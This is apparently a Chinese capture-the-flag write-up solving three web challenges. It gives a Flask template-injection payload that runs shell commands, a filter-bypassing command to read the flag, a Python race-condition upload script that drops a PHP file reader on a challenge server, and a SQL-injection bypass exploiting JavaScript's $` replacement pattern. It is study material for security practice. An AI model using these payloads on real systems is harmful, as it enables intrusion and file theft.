前言
所以 已经没事了😄
参考:https://blog.csdn.net/uuzeray/article/details/145228235
Rank-l
输入一些其他字符,然后输入密码会报错弹出flask debug界面
泄露 app.py
if is_safe_input(phone):
return redirect(url_for('index'))
if phone != "1686682318" and password != "Happy_news_admin":
return render_template_string('<!DOCTYPE html>\
<html lang="en">\
<head>\
<meta charset="UTF-8">\
<title>login failed</title>\
</head>\
得到账密1686682318:Happy_news_admin
但是输入正确后依旧重定向回 /
猜测是在 render_template_string 打 ssti,在/login处填payload,在/cpass处获取回显
{{lipsum.__globals__.os.popen('ls ..').read()}}
flag在 /flagf149
app.py
from flask import Flask, request, render_template, render_template_string, redirect, url_for, abort
from urllib.parse import unquote
app = Flask(__name__)
phone = ''
def is_safe_input(user_input):
# unsafe_keywords = ['eval', 'exec', 'os', 'system', 'import', '__import__']
unsafe_keywords = ['flag','?','*','-','less','nl','tac','more','tail','od','grep','awd','sed','64','/','%2f','%2F']
构造rce:
cd ..%26%26head f\lagf149
Rank-U(Unsolved)
进去一个登录框,弱密码爆破失败,sql注入无果
PHP/7.3.28 Apache/2.4.38 (Debian)
换了几个字典,最终爆出 year2000
里面一个文件上传,啥都能传,但是访问 Uploads 里的文件路径只有 jpg 后缀的能读到,猜测其他后缀是被删了
尝试条件竞争,py脚本+burp把我c盘缓存淦爆了都没竞争成功
存个条件竞争的脚本吧
import requests
while True:
burp0_url = "http://139.155.126.78:30675/admin/index.php" # 更新 URL
burp0_cookies = {"PHPSESSID": "bsgq3v7goubrk1ciepr0se2dfc"} # 更新 PHP 会话 ID
burp0_data = (
"------WebKitFormBoundarygIbPTT5pJVbv72RS\r\n"
"Content-Disposition: form-data; name=\"file_upload\"; filename=\"yjh3.php\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n"
"<?php echo file_get_contents('/flag');?>\r\n" # 改为新代码
"------WebKitFormBoundarygIbPTT5pJVbv72RS--\r\n"
)
# 发送 POST 请求,只保留 Cookie
r = requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
# 提取文件名并保存到本地文件
try:
filename = r.text.split('./Uploads/1f14bba00da3b75118bc8dbf8625f7d0/')[1].split('</p>')[0]
with open('name.txt', 'w') as file:
file.write(filename.strip()) # 使用 strip() 去除可能的换行符
except IndexError:
print("无法提取文件路径或文件上传失败")
import requests
url0 = 'http://139.155.126.78:30675/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0/'
while True:
# 直接读取文件内容,去除换行符并逐行处理
with open('name.txt', 'r') as file:
for filename in file:
shellpath = url0 + filename.strip() # 使用 strip() 去除换行符
# 发起 GET 请求
r1 = requests.get(shellpath)
# 如果状态码不是 404,输出状态码和响应文本
if r1.status_code != 404:
print(r1.status_code)
print(r1.text)
第一个脚本多开点才行
合着就是线程少了竞争不来是吧
sqli or not(复现)
var express = require('express');
var router = express.Router();
module.exports = router;
router.get('/',(req,res,next)=>{
if(req.query.info){
if(req.url.match(/\,/ig)){
res.end('hacker1!');
}
var info = JSON.parse(req.query.info);
if(info.username&&info.password){
var username = info.username;
var password = info.password;
if(info.username.match(/\'|\"|\\/) || info.password.match(/\'|\"|\\/)){
res.end('hacker2!');
}
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
connection.query(sql,function (err,rs) {
if (err) {
res.end('error1');
}
else {
if(rs.length>0){
res.sendFile('/flag');
}else {
res.end('username or password error');
}
}
})
}
else{
res.end("please input the data");
}
}
else{
res.end("please input the data");
}
})
只需要返回成功即可得到flag
我们传进去的参数是info,内容是json
首先是第一个waf,匹配,
,只需要url编码即可绕过
{"username":"1"%2C"password":"1"}
然后是第二个waf,匹配的是 info 里的'
,"
,\\
要想注入的话肯定要一个'
或者\
来转义,
期望的sql语句
select * from userinfo where username = '1\' and password = ';select 1#'
或者
select * from userinfo where username = '1'' and password = ';select 1--'
但是测了半天都转义不出想要的效果
正解
估计是要从 replace 入手,模板字符串替换的写法感觉有说法
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}",username);
sql = sql.replace("{password}",password);
看一下replace的源码:
/**
* Replaces text in a string, using this regular expression.
* @param string A String object or string literal whose contents matching against
* this regular expression will be replaced
* @param replacer A function that returns the replacement text.
*/
[Symbol.replace](string: string, replacer: (substring: string, ...args: any[]) => string): string;
replace 支持正则表达式,在MDN文档里能找到内置的正则静态属性:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/leftContext
leftContext 非标准属性是正则表达式的静态和只读属性,含有最新匹配的左侧子串。 RegExp.$` 是这个属性的别名。
RegExp.leftContext
RegExp['$`']
测试:
var sql = "select * from userinfo where username = '{username}' and password = '{password}'";
sql = sql.replace("{username}", "$`");
sql = sql.replace("{password}", "$`");
console.log(sql)
返回
select * from userinfo where username = 'select * from userinfo where username = '' and password = 'select * from userinfo where username = 'select * from userinfo where username = '' and password = ''
这样就拿到我们需要的'
了
{"username":"$`"%2C"password":"1"}
select * from userinfo where username = 'select * from userinfo where username = '' and password = '1'
然后构造注入得到payload:
{"username":"$`"%2C"password":"or 1%23"}
select * from userinfo where username = 'select * from userinfo where username = '' and password = 'or 1#'
然后就会下载到flag了(这里可以知道数据库不是sqlite,sqlite的注释符是--
)